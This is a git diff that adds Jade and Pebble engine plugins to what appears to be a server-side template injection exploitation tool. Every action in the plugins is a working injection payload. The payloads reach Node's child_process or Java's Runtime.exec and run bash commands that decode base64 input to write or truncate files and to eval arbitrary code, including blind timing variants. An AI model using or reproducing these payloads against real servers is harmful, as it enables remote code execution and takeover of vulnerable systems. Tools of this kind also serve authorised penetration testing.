diff --git a/plugins/engines/jade.py b/plugins/engines/jade.py new file mode 100644 index 0000000..e459bbd --- /dev/null +++ b/plugins/engines/jade.py @@ -0,0 +1,57 @@ +from utils.strings import quote +from plugins.languages import javascript +from utils.loggers import log +from utils import rand +import base64 +import re + +class Jade(javascript.Javascript): + + def init(self): + + self.update_actions({ + 'render' : { + 'render': '= %(code)s', + 'header': '= %(header)s', + 'trailer': '= %(trailer)s', + 'test_render': '= %(n1)s*%(n2)s' % { + 'n1' : rand.randints[0], + 'n2' : rand.randints[1] + }, + 'test_render_expected': '%(res)s' % { + 'res' : rand.randints[0]*rand.randints[1] + } + }, + 'write' : { + 'call' : 'inject', + 'write' : """- var x = root.process +- x = x.mainModule.require +- x = x('child_process') += x.exec('bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s')""", + 'truncate' : """- var x = root.process +- x = x.mainModule.require +- x = x('child_process') += x.exec('bash -c {echo,-n,}>%(path)s')""" + }, + 'execute' : { + 'call': 'inject', + 'execute_blind': """- var x = root.process +- x = x.mainModule.require +- x = x('child_process') += x.exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}')""" + }, + 'execute_blind' : { + 'call': 'inject', + 'execute_blind': """- var x = root.process +- x = x.mainModule.require +- x = x('child_process') += x.exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}')""" + }, + }) + + self.set_contexts([ + + # Text context, no closures + { 'level': 0 }, + + ]) diff --git a/plugins/engines/pebble.py b/plugins/engines/pebble.py new file mode 100644 index 0000000..f50c381 --- /dev/null +++ b/plugins/engines/pebble.py @@ -0,0 +1,42 @@ +from utils.loggers import log +from plugins.languages import java +from utils.strings import quote +import re + + +class Pebble(java.Java): + + def init(self): + + self.update_actions({ + 'render' : { + 'render': '{{ %(code)s }}', + 'header': '{{ %(header)s }}', + 'trailer': '{{ %(trailer)s }}', + 'test_render': """{{ 'a'.toUPPERCASE() }}""", + 'test_render_expected': 'A' + }, + 'write' : { + 'call' : 'inject', + 'write' : """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s') }}""", + 'truncate' : """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,-n,}>%(path)s') }}""", + }, + # Not using execute here since it's rendered and requires set headers and trailers + 'execute_blind' : { + 'call': 'inject', + 'execute_blind': """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}') }}""" + }, + 'execute' : { + 'call': 'render', + 'execute': """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}') }}""" + } + + }) + + + self.set_contexts([ + + + # Text context, no closures + { 'level': 0 }, + ])